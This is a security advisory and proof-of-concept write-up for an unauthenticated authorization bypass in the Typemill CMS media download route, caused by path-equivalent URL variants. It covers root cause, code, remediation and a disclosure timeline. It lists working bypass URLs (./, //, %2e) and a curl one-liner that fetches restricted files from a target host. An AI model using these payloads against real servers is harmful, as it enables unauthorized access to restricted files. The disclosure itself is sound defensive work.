
Advisory and PoC for an unauthenticated authorization bypass in Typemill media downloads, using path-equivalent URL variants to access role-restricted files.
Restriction is keyed on the raw request path; the file is read from the OS-resolved path — the two disagree
At a glance · Summary · Root cause · Attack chain · Exploit · Remediation · Timeline
Typemill lets an administrator restrict individual media files to a specific user
role through media/files/filerestrictions.yaml. The public download route is
supposed to honor that restriction — but it checks the restriction against the
raw request path while serving the bytes from the filesystem-resolved
path. Because the same file has many path-equivalent spellings
(./name, //name, %2e/name), an attacker picks a variant that does not
match the restriction key yet still resolves to the same file on disk.
The route carries no authentication middleware, so the result is a fully unauthenticated download of files that were explicitly locked to a role.
The download route is public — there is no auth middleware on it:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Inside system/typemill/Controllers/ControllerWebDownload.php, the access-control
decision and the file read use two different representations of the same path:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() only rejects a literal .. sequence — it does not normalize
./ or //, and it does not reject percent-encoded equivalents. So the
restriction key and the file that actually gets read fall out of sync:
The bug is the classic "authorization decision and resource access keyed on
different, attacker-controllable strings" pattern (CWE-639/CWE-863).
$_SERVER['REQUEST_URI'] stays raw under Apache too, so this is not
server-specific.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml.exploit/exploit.py reproduces the issue end-to-end against
a local test container. It (1) has the "admin" drop a private file restricted to
the editor role, (2) confirms the canonical URL is blocked for an anonymous
user, then (3) downloads the same file through each path-equivalent variant.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Expected output:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
One-liner against any vulnerable host (authorized testing only):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() and confirm containment under the
media base directory before reading, and reject percent-encoded path separators.| Date | Event |
|---|---|
| 2026-08-04 | Vulnerability discovered in Typemill 2.25.0; PoC verified end-to-end on Docker |
| 2026-08-04 | Reported to maintainer / VulnCheck |
| — |
For authorized security testing and educational use only. © @IlhomjonR
| CVE ID | CVE-2026-71518 |
| Product | typemill/typemill — Typemill (flat-file PHP CMS, Slim 4) |
| Affected | all versions < 2.26.0 (verified on 2.25.0, commit 8f3901c) |
| Fixed in | 2.26.0 |
| Weakness | CWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS v3.1 | 7.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — High |
| Vector | Network · no authentication · no user interaction |
| Impact | Unauthenticated download of media files an administrator restricted to a privileged role |
| Researcher | Ilhomjon Rustamov (@IlhomjonR) |
| Request path | Restriction key matched? | File resolved on disk | Outcome |
|---|
/media/files/secret.pdf | ✅ yes | secret.pdf | 🔒 blocked (302 → login) |
/media/files/./secret.pdf | ❌ no | secret.pdf | 🟢 served (200) |
/media/files//secret.pdf | ❌ no | secret.pdf | 🟢 served (200) |
/media/files/%2e/secret.pdf | ❌ no | secret.pdf | 🟢 served (200) |
| Fixed in Typemill 2.26.0 |
| 2026-08-18 | CVE-2026-71518 public; advisory + PoC released |